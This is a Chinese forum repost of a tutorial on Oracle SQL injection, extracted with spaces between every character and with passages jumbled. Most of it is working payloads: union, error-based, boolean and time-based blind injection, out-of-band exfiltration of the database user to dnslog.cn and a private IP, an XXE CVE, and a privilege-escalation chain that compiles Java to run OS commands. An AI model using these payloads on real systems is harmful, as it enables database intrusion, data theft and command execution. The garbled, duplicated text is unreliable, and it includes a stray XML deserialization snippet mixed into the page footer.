搜索

[1086] 2020-03-19_OracleSQL注入学习

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-16
2020-03-19_OracleSQL注入学习 O r a c l e   S Q L 注 入 学 习 C h a B u g 运 营 小 哥 哥   C h a B u g   2 0 2 0 - 0 3 - 1 9 基 本 概 念 O r a c l e 和 M y S Q L 数 据 库 语 法 大 致 相 同 ， 结 构 不 太 相 同 。 最 大 的 一 个 特 点 就 是 最 大 的 一 个 特 点 就 是 o r a c l e 可 以 调 用 可 以 调 用 J a v a 代 码 。 代 码 。 对 于 “ 数 据 库 ” 这 个 概 念 而 言 ， O r a c l e 采 用 了 ” 表 空 间 “ 的 定 义 。 数 据 文 件 就 是 由 多 个 表 空 间 组 成 的 ， 这 些 数 据 文 件 和 相 关 文 件 形 成 一 个 完 整 的 数 据 库 。 当 数 据 库 创 建 时 ， O r a c l e   会 默 认 创 建 五 个 表 空 间 ： S Y S T E M 、 S Y S A U X 、 U S E R S 、 U N D O T B S 、 T E M P ： 1 .   S Y S T E M ： 看 名 字 就 知 道 这 个 用 于 是 存 储 系 统 表 和 管 理 配 置 等 基 本 信 息 2 .   S Y S A U X ： 类 似 于   S Y S T E M ， 主 要 存 放 一 些 系 统 附 加 信 息 ， 以 便 减 轻   S Y S T E M   的 空 间 负 担 3 .   U N D O T B S ： 用 于 事 务 回 退 等 4 .   T E M P ： 作 为 缓 存 空 间 减 少 内 存 负 担 5 .   U S E R S ： 就 是 存 储 我 们 定 义 的 表 和 数 据 在 O r a c l e 中 每 个 表 空 间 中 均 存 在 一 张 d u a l 表 ， 这 个 表 是 虚 表 ， 并 没 有 实 际 的 存 储 意 义 ， 它 永 远 只 存 储 一 条 数 据 ， 因 为 O r a c l e 的 S Q L 语 法 要 求 s e l e c t 后 必 须 跟 上 f r o m ， 所 以 我 们 通 常 使 用 d u a l 来 作 为 计 算 、 查 询 时 间 等 S Q L 语 句 中 f r o m 之 后 的 虚 表 占 位 ， 也 就 是 。 再 来 看 O r a c l e 中 用 户 和 权 限 划 分 ： O r a c l e   中 划 分 了 许 多 用 户 权 限 ， 权 限 的 集 合 称 为 角 色 。 例 如   C O N N E C T   角 色 具 有 连 接 到 数 据 库 权 限 ， R E S O U R C E   能 进 行 基 本 的 增 删 改 查 ， D B A   则 集 合 了 所 有 的 用 户 权 限 。 在 创 建 数 据 库 时 ， 会 默 认 启 用   s y s 、 s y s t e m   等 用 户 ： 1 .   s y s ： 相 当 于   L i n u x   下 的   r o o t   用 户 。 为   D B A   角 色 2 .   s y s t e m ： 与   s y s   类 似 ， 但 是 相 对 于   s y s   用 户 ， 无 法 修 改 一 些 关 键 的 系 统 数 据 ， 这 些 数 据 维 持 着 数 据 库 的 正 常 运 行 。 为   D B A   角 色 。 3 .   p u b l i c ： p u b l i c   代 指 所 有 用 户 （ e v e r y o n e ） ， 对 其 操 作 会 应 用 到 所 有 用 户 上 （ 实 际 上 是 所 有 用 户 都 有   p u b l i c   用 户 拥 有 的 权 限 ， 如 果 将   D B A   权 限 给 了   p u b l i c ， 那 么 也 就 意 味 着 所 有 用 户 都 有 了 D B A   权 限 ） 基 本 语 法 O r a c l e 要 求 s e l e c t 后 必 须 指 明 要 查 询 的 表 名 ， 可 以 用 d u a l 。 O r a c l e 使 用     拼 接 字 符 串 ， M y S Q L 中 为 或 运 算 。 单 引 号 和 双 引 号 在 O r a c l e 中 虽 然 都 是 字 符 串 ， 但 是 双 引 号 可 以 用 来 消 除 关 键 字 ， 比 如 。 O r a c l e 中 l i m i t 应 该 使 用 虚 表 中 的 r o w n u m 字 段 通 过 w h e r e 条 件 判 断 。 s e l e c t   1 + 1   f r o m   d u a l s e l e c t   c o l u m n ,   g r o u p _ f u n c t i o n ( c o l u m n ) f r o m   t a b l e [ w h e r e   c o n d i t i o n ] [ g r o u p   b y   g r o u p _ b y _ e x p r e s s i o n ] [ h a v i n g   g r o u p _ c o n d i t i o n ] [ o r d e r   b y   c o l u m n ] ; | | s y s d a t e
O r a c l e 中 没 有 空 字 符 ， 和 ' n u l l ' 都 是 n u l l ， 而 M y S Q L 中 认 为 仍 然 是 一 个 字 符 串 。 O r a c l e 对 数 据 格 式 要 求 严 格 ， 比 如 的 时 候 ， 放 到 下 文 讲 。 O r a c l e 的 系 统 表 ： d b a _ t a b l e s   :   系 统 里 所 有 的 表 的 信 息 ， 需 要 D B A 权 限 才 能 查 询 a l l _ t a b l e s   :   当 前 用 户 有 权 限 的 表 的 信 息 u s e r _ t a b l e s :   当 前 用 户 名 下 的 表 的 信 息 D B A _ A L L _ T A B L E S ： D B A   用 户 所 拥 有 的 或 有 访 问 权 限 的 对 象 和 表 A L L _ A L L _ T A B L E S ： 某 一 用 户 拥 有 的 或 有 访 问 权 限 的 对 象 和 表 U S E R _ A L L _ T A B L E S ： 某 一 用 户 所 拥 有 的 对 象 和 表 D B A _ T A B L E S   > =   A L L _ T A B L E S   > =   U S E R _ T A B L E S 信 息 收 集 从 现 在 开 始 ， 我 们 以 注 入 点 为 例 讲 解 。 代 码 随 便 写 一 个 j s p 网 页 就 行 了 。 获 取 数 据 库 版 本 信 息 ' ' ' ' u n i o n   s e l e c t h t t p : / / l o c a l h o s t : 8 0 8 0 / o r a c l e I n j e c t / i n d e x ? u s e r n a m e = a d m i n h t t p : / / l o c a l h o s t : 8 0 8 0 / o r a c l e I n j e c t / i n d e x ? u s e r n a m e = a d m i n '   u n i o n   s e l e c t   1 , ' a ' , ( S E L E C T   b a n n e r   F R O M   v $ v e r s i o n   W H E R E   b a n n e r   L I K E   ' O r a c l e % 2 5 ' )   f r o m   d u a l   - -   +
获 取 操 作 系 统 版 本 信 息 获 取 当 前 数 据 库 获 取 数 据 库 用 户 S E L E C T   u s e r   F R O M   d u a l ; 获 取 所 有 数 据 库 用 户 S E L E C T   u s e r n a m e   F R O M   a l l _ u s e r s ; S E L E C T   n a m e   F R O M   s y s . u s e r $ ;   - -   需 要 高 权 限 获 取 当 前 用 户 权 限 S E L E C T   *   F R O M   s e s s i o n _ p r i v s 获 取 当 前 用 户 有 权 限 的 所 有 数 据 库 h t t p : / / l o c a l h o s t : 8 0 8 0 / o r a c l e I n j e c t / i n d e x ? u s e r n a m e = a d m i n '   u n i o n   s e l e c t   1 , ' a ' , ( S E L E C T   b a n n e r   F R O M   v $ v e r s i o n   w h e r e   b a n n e r   l i k e   ' T N S % 2 5 ' )   f r o m   d u a l   - -   + h t t p : / / l o c a l h o s t : 8 0 8 0 / o r a c l e I n j e c t / i n d e x ? u s e r n a m e = a d m i n '   u n i o n   s e l e c t   1 , ' a ' , ( S E L E C T   n a m e   F R O M   v $ d a t a b a s e )   f r o m   d u a l   - -   + S E L E C T   D I S T I N C T   o w n e r ,   t a b l e _ n a m e   F R O M   a l l _ t a b l e s
获 取 表 ， a l l _ t a b l e s 类 似 于 M y S Q L 中 的 i n f o r m a t i o n _ s c h e m a . t a b l e s ， 里 面 的 结 构 可 以 自 己 构 造 s q l 语 句 。 S E L E C T   *   F R O M   a l l _ t a b l e s ; 获 取 字 段 名 S E L E C T   c o l u m n _ n a m e   F R O M   a l l _ t a b _ c o l u m n s
在 O r a c l e 启 动 时 ， 在   u s e r e n v   中 存 储 了 一 些 系 统 上 下 文 信 息 ， 通 过   S Y S _ C O N T E X T   函 数 ， 我 们 可 以 取 回 相 应 的 参 数 值 。 包 括 当 前 用 户 名 等 等 。 更 多 可 用 参 数 说 明 可 以 查 阅   O r a c l e   提 供 的 文 档 ： S Y S _ C O N T E X T 注 入 类 型 联 合 查 询 o r d e r   b y   猜 字 段 数 量 ， u n i o n   s e l e c t 进 行 查 询 ， 需 要 注 意 的 是 每 一 个 字 段 都 需 要 对 应 前 面 s e l e c t 的 数 据 类 型 ( 字 符 串 / 数 字 ) 。 所 以 我 们 一 般 先 使 用 n u l l 字 符 占 位 ， 然 后 逐 位 判 断 每 个 字 段 的 类 型 ， 比 如 ： 查 数 据 库 版 本 和 用 户 名 查 当 前 数 据 库 查 表 ， w m s y s . w m _ c o n c a t ( ) 等 同 于 M y S Q L 中 的 g r o u p _ c o n c a t ( ) ， 在 1 1 g r 2 和 1 2 C 上 已 经 抛 弃 ， 可 以 用 L I S T A G G ( ) 替 代 但 是 L I S T A G G ( ) 返 回 的 是 v a r c h a r 类 型 ， 如 果 数 据 表 很 多 会 出 现 字 符 串 长 度 过 长 的 问 题 。 这 个 时 候 可 以 使 用 通 过 字 符 串 截 取 来 进 行 。 查 字 段 有 表 名 字 段 名 出 数 据 就 不 说 了 。 报 错 注 入 u t l _ i n a d d r . g e t _ h o s t _ n a m e 1 1 g 之 后 ， 使 用 此 函 数 的 数 据 库 用 户 需 要 有 访 问 网 络 的 权 限 c t x s y s . d r i t h s x . s n 处 理 文 本 的 函 数 ， 参 数 错 误 时 会 报 错 。 C T X S Y S . C T X _ R E P O R T . T O K E N _ T Y P E X M L T y p e 我 在 1 2 c 中 测 试 失 败 。 注 意 u r l 编 码 ， 如 果 返 回 的 数 据 有 空 格 的 话 ， 它 会 自 动 截 断 ， 导 致 数 据 不 完 整 ， 这 种 情 况 下 先 转 为   h e x ， 再 导 出 。 S E L E C T   S Y S _ C O N T E X T （ ' U S E R E N V ' ， ' S E S S I O N _ U S E R ' ）   f r o m   d u a l ; h t t p : / / l o c a l h o s t : 8 0 8 0 / o r a c l e I n j e c t / i n d e x ? u s e r n a m e = a d m i n '   u n i o n   s e l e c t   n u l l , n u l l , n u l l   f r o m   d u a l   - -   正 常 h t t p : / / l o c a l h o s t : 8 0 8 0 / o r a c l e I n j e c t / i n d e x ? u s e r n a m e = a d m i n '   u n i o n   s e l e c t   1 , n u l l , n u l l   f r o m   d u a l   - -   正 常 说 明 第 一 个 字 段 是 数 字 型 h t t p : / / l o c a l h o s t : 8 0 8 0 / o r a c l e I n j e c t / i n d e x ? u s e r n a m e = a d m i n '   u n i o n   s e l e c t   1 , 2 , n u l l   f r o m   d u a l   - -   第 二 个 字 段 为 数 字 时 错 误 h t t p : / / l o c a l h o s t : 8 0 8 0 / o r a c l e I n j e c t / i n d e x ? u s e r n a m e = a d m i n '   u n i o n   s e l e c t   1 , ' a s d ' , n u l l   f r o m   d u a l   - -   正 常   为 字 符 串   依 此 类 推 h t t p : / / l o c a l h o s t : 8 0 8 0 / o r a c l e I n j e c t / i n d e x ? u s e r n a m e = a d m i n '   u n i o n   s e l e c t   1 , ( s e l e c t   u s e r   f r o m   d u a l ) , ( S E L E C T   b a n n e r   F R O M   v $ v e r s i o n   w h e r e   b a n n e r   l i k e   ' O r a c l e % 2 5 ' )   f r o m   d u a l   - -   h t t p : / / l o c a l h o s t : 8 0 8 0 / o r a c l e I n j e c t / i n d e x ? u s e r n a m e = a d m i n '   u n i o n   s e l e c t   1 , ( S E L E C T   g l o b a l _ n a m e   F R O M   g l o b a l _ n a m e ) , n u l l   f r o m   d u a l   - -   h t t p : / / l o c a l h o s t : 8 0 8 0 / o r a c l e I n j e c t / i n d e x ? u s e r n a m e = a d m i n '   u n i o n   s e l e c t   1 , ( s e l e c t   L I S T A G G ( t a b l e _ n a m e , ' , ' ) w i t h i n   g r o u p ( o r d e r   b y   o w n e r ) n a m e   f r o m   a l l _ t a b l e s   w h e r e   o w n e r = ' S Y S T E M ' ) , h t t p : / / l o c a l h o s t : 8 0 8 0 / o r a c l e I n j e c t / i n d e x ? u s e r n a m e = a d m i n '   u n i o n   s e l e c t   1 , ( s e l e c t   c o l u m n _ n a m e   f r o m   a l l _ t a b _ c o l u m n s   w h e r e   t a b l e _ n a m e = ' T E S T '   a n d   r o w n u m = 2 ) , n u l l   f r o m   d u a l   - -   s e l e c t   u t l _ i n a d d r . g e t _ h o s t _ n a m e ( ( s e l e c t   u s e r   f r o m   d u a l ) )   f r o m   d u a l ; s e l e c t   c t x s y s . d r i t h s x . s n ( 1 ,   ( s e l e c t   u s e r   f r o m   d u a l ) )   f r o m   d u a l ; s e l e c t   C T X S Y S . C T X _ R E P O R T . T O K E N _ T Y P E ( ( s e l e c t   u s e r   f r o m   d u a l ) ,   ' 1 2 3 ' )   f r o m   d u a l ; h t t p : / / l o c a l h o s t : 8 0 8 0 / o r a c l e I n j e c t / i n d e x ? u s e r n a m e = a d m i n '   a n d   ( s e l e c t   u p p e r ( X M L T y p e ( c h r ( 6 0 ) | | c h r ( 5 8 ) | | ( s e l e c t   u s e r   f r o m   d u a l ) | | c h r ( 6 2 ) ) )   f r o m   d u a l )   i s   n o t   n u l l   - -
d b m s _ x d b _ v e r s i o n . c h e c k i n d b m s _ x d b _ v e r s i o n . m a k e v e r s i o n e d d b m s _ x d b _ v e r s i o n . u n c h e c k o u t d b m s _ u t i l i t y . s q l i d _ t o _ s q l h a s h o r d s y s . o r d _ d i c o m . g e t m a p p i n g x p a t h U T L _ I N A D D R . g e t _ h o s t _ n a m e U T L _ I N A D D R . g e t _ h o s t _ a d d r e s s 盲 注 布 尔 盲 注 布 尔 盲 注 第 一 种 是 可 以 使 用 简 单 的 字 符 串 比 较 来 进 行 ， 比 如 ： 然 后 还 有 一 种 是 通 过 d e c o d e 配 合 除 数 为 0 来 进 行 布 尔 盲 注 。 时 间 盲 注 1 .   大 量 数 据 s e l e c t   c o u n t ( * )   f r o m   a l l _ o b j e c t s 缺 点 就 是 不 准 。 1 .   时 间 延 迟 函 数 s e l e c t   d b m s _ x d b _ v e r s i o n . c h e c k i n ( ( s e l e c t   u s e r   f r o m   d u a l ) )   f r o m   d u a l ; s e l e c t   d b m s _ x d b _ v e r s i o n . m a k e v e r s i o n e d ( ( s e l e c t   u s e r   f r o m   d u a l ) )   f r o m   d u a l ; s e l e c t   d b m s _ x d b _ v e r s i o n . u n c h e c k o u t ( ( s e l e c t   u s e r   f r o m   d u a l ) )   f r o m   d u a l ; S E L E C T   d b m s _ u t i l i t y . s q l i d _ t o _ s q l h a s h ( ( s e l e c t   u s e r   f r o m   d u a l ) )   f r o m   d u a l ; s e l e c t   o r d s y s . o r d _ d i c o m . g e t m a p p i n g x p a t h ( ( s e l e c t   u s e r   f r o m   d u a l ) ,   1 ,   1 )   f r o m   d u a l ; s e l e c t   U T L _ I N A D D R . g e t _ h o s t _ n a m e ( ( s e l e c t   u s e r   f r o m   d u a l ) )   f r o m   d u a l ; s e l e c t   U T L _ I N A D D R . g e t _ h o s t _ n a m e ( ' ~ ' | | ( s e l e c t   u s e r   f r o m   d u a l ) | | ' ~ ' )   f r o m   d u a l ; h t t p : / / l o c a l h o s t : 8 0 8 0 / o r a c l e I n j e c t / i n d e x ? u s e r n a m e = a d m i n '   a n d   ( s e l e c t   s u b s t r ( u s e r ,   1 ,   1 )   f r o m   d u a l ) = ' S '   - - h t t p : / / l o c a l h o s t : 8 0 8 0 / o r a c l e I n j e c t / i n d e x ? u s e r n a m e = a d m i n '   a n d   1 = ( s e l e c t   d e c o d e ( s u b s t r ( u s e r ,   1 ,   1 ) ,   ' S ' ,   ( 1 / 1 ) , 0 )   f r o m   d u a l )   - - s e l e c t   1   f r o m   d u a l   w h e r e   D B M S _ P I P E . R E C E I V E _ M E S S A G E ( ' a s d ' ,   R E P L A C E ( ( S E L E C T   s u b s t r ( u s e r ,   1 ,   1 )   F R O M   d u a l ) ,   ' S ' ,   1 0 ) ) = 1 ;
还 可 以 配 合 d e c o d e 带 外 O O B 类 似 于 M y S Q L   l o a d _ f i l e 的 带 外 盲 注 。 O O B   都 需 要 发 起 网 络 请 求 的 权 限 ， 有 限 制 。 u t l _ h t t p . r e q u e s t 需 要 出 外 网 H T T P u t l _ i n a d d r . g e t _ h o s t _ a d d r e s s d n s 解 析 带 外 s e l e c t   d e c o d e ( s u b s t r ( u s e r , 1 , 1 ) , ' S ' , d b m s _ p i p e . r e c e i v e _ m e s s a g e ( ' R D S ' , 1 0 ) , 0 )   f r o m   d u a l ; s e l e c t   u t l _ i n a d d r . g e t _ h o s t _ a d d r e s s ( ( s e l e c t   u s e r   f r o m   d u a l ) | | ' . c b b 1 y a . d n s l o g . c n ' )   f r o m   d u a l
S Y S . D B M S _ L D A P . I N I T 这 个 函 数 在 这 个 函 数 在   1 0 g / 1 1 g   中 是 中 是   p u b l i c   权 限 权 限 . H T T P U R I T Y P E 其 他 如 果   O r a c l e   版 本   < =   1 0 g ， 可 以 尝 试 以 下 函 数 ： 1 .   U T L _ I N A D D R . G E T _ H O S T _ A D D R E S S 2 .   U T L _ H T T P . R E Q U E S T 3 .   H T T P _ U R I T Y P E . G E T C L O B 4 .   D B M S _ L D A P . I N I T   a n d   U T L _ T C P O r a c l e   X X E   ( C V E - 2 0 1 4 - 6 5 7 7 ) 说 是 x x e ， 实 际 上 应 该 算 是 利 用 x m l 的 加 载 外 部 文 档 来 进 行 数 据 带 外 。 支 持 h t t p 和 f t p 1 .   h t t p 1 .   f t p 提 权 前 文 说 了 O r a c l e 可 以 调 用 J a v a 程 序 G E T _ D O M A I N _ I N D E X _ T A B L E S 函 数 注 入 S E L E C T   D B M S _ L D A P . I N I T ( ( s e l e c t   u s e r   f r o m   d u a l ) | | ' . 2 4 w y p w . d n s l o g . c n ' , 8 0 )   F R O M   D U A L ; S E L E C T   H T T P U R I T Y P E ( ( s e l e c t   u s e r   f r o m   d u a l ) | | ' . 2 4 w y p w . d n s l o g . c n ' ) . G E T C L O B ( )   F R O M   D U A L ; s e l e c t   1   f r o m   d u a l   w h e r e   1 = ( s e l e c t   e x t r a c t v a l u e ( x m l t y p e ( ' < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " U T F - 8 " ? > < ! D O C T Y P E   r o o t   [   < ! E N T I T Y   %   r e m o t e   S Y S T E M   " h t t p : / / 1 9 2 . 1 6 8 . 1 2 4 . 1 / ' | | ( S E L E C T   u s e r   f r o m   d u a l ) | | ' " >   % r e m o t e ; ] > s e l e c t   e x t r a c t v a l u e ( x m l t y p e ( ' < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " U T F - 8 " ? > < ! D O C T Y P E   r o o t   [   < ! E N T I T Y   %   r e m o t e   S Y S T E M   " f t p : / / ' | | u s e r | | ' : b a r @ I P / t e s t " >   % r e m o t e ;   % p a r a m 1 ; ] > ' ) , ' / l ' )   f r o m   d u a l ;
影 响 版 本 : O r a c l e   8 . 1 . 7 . 4 ,   9 . 2 . 0 . 1   -   9 . 2 . 0 . 7 ,   1 0 . 1 . 0 . 2   -   1 0 . 1 . 0 . 4 ,   1 0 . 2 . 0 . 1 - 1 0 . 2 . 0 . 2 漏 洞 的 成 因 是 该 函 数 的 参 数 存 在 注 入 ， 而 该 函 数 的 所 有 者 是 s y s ， 所 以 通 过 注 入 就 可 以 执 行 任 意 s q l ， 该 函 数 的 执 行 权 限 为 p u b l i c ， 所 以 只 要 遇 到 一 个 o r a c l e 的 注 入 点 并 且 存 在 这 个 漏 洞 的 ， 基 本 上 都 可 以 提 升 到 最 高 权 限 。 1 、 权 限 提 升 2 、 创 建 J a v a 代 码 执 行 命 令 3 、 赋 予 J a v a 执 行 权 限 4 、 创 建 函 数 5 、 赋 予 函 数 执 行 权 限 6 、 执 行 命 令 D B M S _ J V M _ E X P _ P E R M S 绕 过 J V M 执 行 命 令 移 步 ： 1 .   h t t p s : / / w w w . n o t s o s e c u r e . c o m / h a c k i n g - o r a c l e - 1 1 g / 2 .   h t t p s : / / w w w . e x p l o i t - d b . c o m / e x p l o i t s / 3 3 6 0 1 x m l 反 序 列 化 绕 过 J V M 执 行 命 令   C V E - 2 0 1 8 - 3 0 0 4 如 果 当 前 数 据 库 用 户 具 有 c o n n e c t 和 r e s o u r c e 权 限 ， 则 可 以 尝 试 使 用 反 序 列 化 来 进 行 执 行 命 令 。 O r a c l e   E n t e r p r i s e   E d i t i o n   有 一 个 嵌 入 数 据 库 的 J a v a 虚 拟 机 ， 而 O r a c l e 数 据 库 则 通 过 J a v a 存 储 过 程 来 支 持 J a v a 的 本 地 执 行 。 原 作 者 写 的 是 原 作 者 写 的 是 ， 这 里 应 该 使 用 ， 这 里 应 该 使 用 虽 然 你 以 为 可 以 执 行 J a v a 代 码 了 ， 直 接 冲 R u n t i m e . g e t R u n t i m e ( ) . e x e c ( ) 就 完 事 了 ， 但 是 实 际 上 O r a c l e 对 权 限 进 行 了 细 致 的 划 分 ， 并 不 能 直 接 冲 。 我 们 可 以 用 一 个 x m l 的 反 序 列 化 来 冲 。 h t t p : / / l o c a l h o s t : 8 0 8 0 / o r a c l e I n j e c t / i n d e x ? u s e r n a m e = a d m i n '   a n d   ( S Y S . D B M S _ E X P O R T _ E X T E N S I O N . G E T _ D O M A I N _ I N D E X _ T A B L E S ( ' F O O ' , ' B A R ' , ' D B M S   _ O U T P U T " . P U T ( : P 1 ) ; E X E C U T E   I M M E D I A T E   ' ' D E C L A R E h t t p : / / l o c a l h o s t : 8 0 8 0 / o r a c l e I n j e c t / i n d e x ? u s e r n a m e = a d m i n '   a n d   ( s e l e c t   S Y S . D B M S _ E X P O R T _ E X T E N S I O N . G E T _ D O M A I N _ I N D E X _ T A B L E S ( ' F O O ' , ' B A R ' , ' D B M S _ O U T P U T "   . P U T ( : P 1 ) ; E X E C U T E   I M M E D I A T E   ' ' D E C L A R E   P R A G M A   A U T O N O M O U S _ T R A N S A C T I O N ; B E G I N   E X E C U T E   I M M E D I A T E   ' ' ' ' c r e a t e   o r   r e p l a c e   a n d   c o m p i l e   j a v a   s o u r c e   n a m e d   " C o m m a n d "   a s   i m p o r t   j a v a . i o . * ; p u b l i c   c l a s s   C o m m a n d { p u b l i c   s t a t i c   S t r i n g   e x e c ( S t r i n g   c m d )   t h r o w s   E x c e p t i o n { S t r i n g   s b = " " ; B u f f e r e d I n p u t S t r e a m   i n   =   n e w   B u f f e r e d I n p u t S t r e a m ( R u n t i m e . g e t R u n t i m e ( ) . e x e c ( c m d ) . g e t I n p u t S t r e a m ( ) ) ; B u f f e r e d R e a d e r   i n B r   =   n e w   B u f f e r e d R e a d e r ( n e w   I n p u t S t r e a m R e a d e r ( i n ) ) ; S t r i n g   l i n e S t r ; w h i l e   ( ( l i n e S t r   =   i n B r . r e a d L i n e ( ) )   ! =   n u l l ) s b + = l i n e S t r + " n " ; i n B r . c l o s e ( ) ; i n . c l o s e ( ) ; r e t u r n   s b ; } } ' ' ' ' ; E N D ; ' ' ; E N D ; - - ' h t t p : / / l o c a l h o s t : 8 0 8 0 / o r a c l e I n j e c t / i n d e x ? u s e r n a m e = a d m i n '   a n d   ( s e l e c t   S Y S . D B M S _ E X P O R T _ E X T E N S I O N . G E T _ D O M A I N _ I N D E X _ T A B L E S ( ' F O O ' , ' B A R ' , ' D B M S _ O U T P U T " . P U T ( : P 1 ) ; E X E C U T E   I M M E D I A T E   ' ' D E C L A R E   P R A G M A   A U T O N O M O U S _ T R A N S A C T I O N ; B E G I N   E X E C U T E   I M M E D I A T E   ' ' ' ' b e g i n   d b m s _ j a v a . g r a n t _ p e r m i s s i o n (   ' ' ' ' ' ' ' ' P U B L I C ' ' ' ' ' ' ' ' ,   ' ' ' ' ' ' ' ' S Y S : j a v a . i o . F i l e P e r m i s s i o n ' ' ' ' ' ' ' ' ,   ' ' ' ' ' ' ' ' < < A L L   F I L E S > > ' ' ' ' ' ' ' ' ,   ' ' ' ' ' ' ' ' e x e c u t e ' ' ' ' ' ' ' '   ) ; e n d ; ' ' ' ' ; E N D ; ' ' ; E N D ; - - ' h t t p : / / l o c a l h o s t : 8 0 8 0 / o r a c l e I n j e c t / i n d e x ? u s e r n a m e = a d m i n '   a n d   ( s e l e c t   S Y S . D B M S _ E X P O R T _ E X T E N S I O N . G E T _ D O M A I N _ I N D E X _ T A B L E S ( ' F O O ' , ' B A R ' , ' D B M S _ O U T P U T "   . P U T ( : P 1 ) ; E X E C U T E   I M M E D I A T E   ' ' D E C L A R E   P R A G M A   A U T O N O M O U S _ T R A N S A C T I O N ; B E G I N   E X E C U T E   I M M E D I A T E   ' ' ' ' c r e a t e   o r   r e p l a c e   f u n c t i o n   c m d ( p _ c m d   i n   v a r c h a r 2 )   r e t u r n   v a r c h a r 2   a s   l a n g u a g e   j a v a   n a m e   ' ' ' ' ' ' ' ' C o m m a n d . e x e c ( j a v a . l a n g . S t r i n g )   r e t u r n   S t r i n g ' ' ' ' ' ' ' ' ;   ' ' ' ' ; E N D ; ' ' ; E N D ; - - ' h t t p : / / l o c a l h o s t : 8 0 8 0 / o r a c l e I n j e c t / i n d e x ? u s e r n a m e = a d m i n '   a n d   ( s e l e c t   S Y S . D B M S _ E X P O R T _ E X T E N S I O N . G E T _ D O M A I N _ I N D E X _ T A B L E S ( ' F O O ' , ' B A R ' , ' D B M S _ O U T P U T "   . P U T ( : P 1 ) ; E X E C U T E   I M M E D I A T E   ' ' D E C L A R E   P R A G M A   A U T O N O M O U S _ T R A N S A C T I O N ; B E G I N   E X E C U T E   I M M E D I A T E   ' ' ' ' g r a n t   a l l   o n   c m d   t o   p u b l i c ' ' ' ' ; E N D ; ' ' ; E N D ; - - ' h t t p : / / l o c a l h o s t : 8 0 8 0 / o r a c l e I n j e c t / i n d e x ? u s e r n a m e = a d m i n '   a n d   ( s e l e c t   s y s . c m d ( ' c m d . e x e   / c   w h o a m i ' )   f r o m   d u a l )   i s   n o t   n u l l - - - - c r e a t e   o r   r e p l a c e   f u n c t i o n   g e t _ j a v a _ p r o p e r t y ( p r o p   i n   v a r c h a r 2 )   r e t u r n   v a r c h a r 2 - -       i s   l a n g u a g e   j a v a   n a m e   ' j a v a . l a n g . S y s t e m . g e t P r o p e r t y ( j a v a . l a n g . S t r i n g )   r e t u r n   j a v a . l a n g . S t r i n g ' ; - - / s e l e c t   g e t _ j a v a _ p r o p e r t y ( ' j a v a . v e r s i o n ' )   f r o m   d u a l ; j a v a . n a m e . S y s t e m j a v a . l a n g . S y s t e m B E G I N   d e c o d e m e ( ' < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " U T F - 8 "   ? > < j a v a   v e r s i o n = " 1 . 4 . 0 "   c l a s s = " j a v a . b e a n s . X M L D e c o d e r " > < o b j e c t   c l a s s = " j a v a . i o . F i l e W r i t e r " >                                             < s t r i n g > c : a p p 1 . t x t < / s t r i n g >
试 了 试 好 像 不 能 执 行 命 令 ， 但 是 可 以 写 文 件 。 写 个 s h e l l 还 是 绰 绰 有 余 的 ， 当 然 你 还 可 以 写 s s h 公 钥 。 参 考 1 .   h t t p s : / / w w w . i s w i n . o r g / 2 0 1 5 / 0 6 / 1 3 / h a c k - o r a c l e 2 .   h t t p : / / o b t r u s e . s y f r t e x t . c o m / 2 0 1 8 / 0 7 / o r a c l e - p r i v i l e g e - e s c a l a t i o n - v i a . h t m l ? m = 1 3 .   h t t p s : / / w w w . c n b l o g s . c o m / - q i n g - / p / 1 0 9 4 9 5 6 2 . h t m l 4 .   h t t p s : / / w w w . t r 0 y . w a n g / 2 0 1 9 / 0 4 / 1 6 / O r a c l e % E 6 % B 3 % A 8 % E 5 % 8 5 % A 5 % E 6 % 8 C % 8 7 % E 5 % 8 C % 9 7 / i n d e x . h t m l ) 5 .   h t t p s : / / w w w . n o t s o s e c u r e . c o m / h a c k i n g - o r a c l e - 1 1 g / 文 笔 垃 圾 ， 措 辞 轻 浮 ， 内 容 浅 显 ， 操 作 生 疏 。 不 足 之 处 欢 迎 大 师 傅 们 指 点 和 纠 正 ， 感 激 不 尽 。 文 笔 垃 圾 ， 措 辞 轻 浮 ， 内 容 浅 显 ， 操 作 生 疏 。 不 足 之 处 欢 迎 大 师 傅 们 指 点 和 纠 正 ， 感 激 不 尽 。 看 完 了 就 点 个 关 注 呗 看 完 了 就 点 个 关 注 呗                                             < s t r i n g > c : a p p 1 . t x t < / s t r i n g >                                             < b o o l e a n > T r u e < / b o o l e a n >                                             < v o i d   m e t h o d = " w r i t e " >                                                   < s t r i n g > a a a < / s t r i n g >                                             < / v o i d >                                             < v o i d   m e t h o d = " c l o s e "   / >                                       < / o b j e c t > < / j a v a > ' ) ; E N D ; /
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理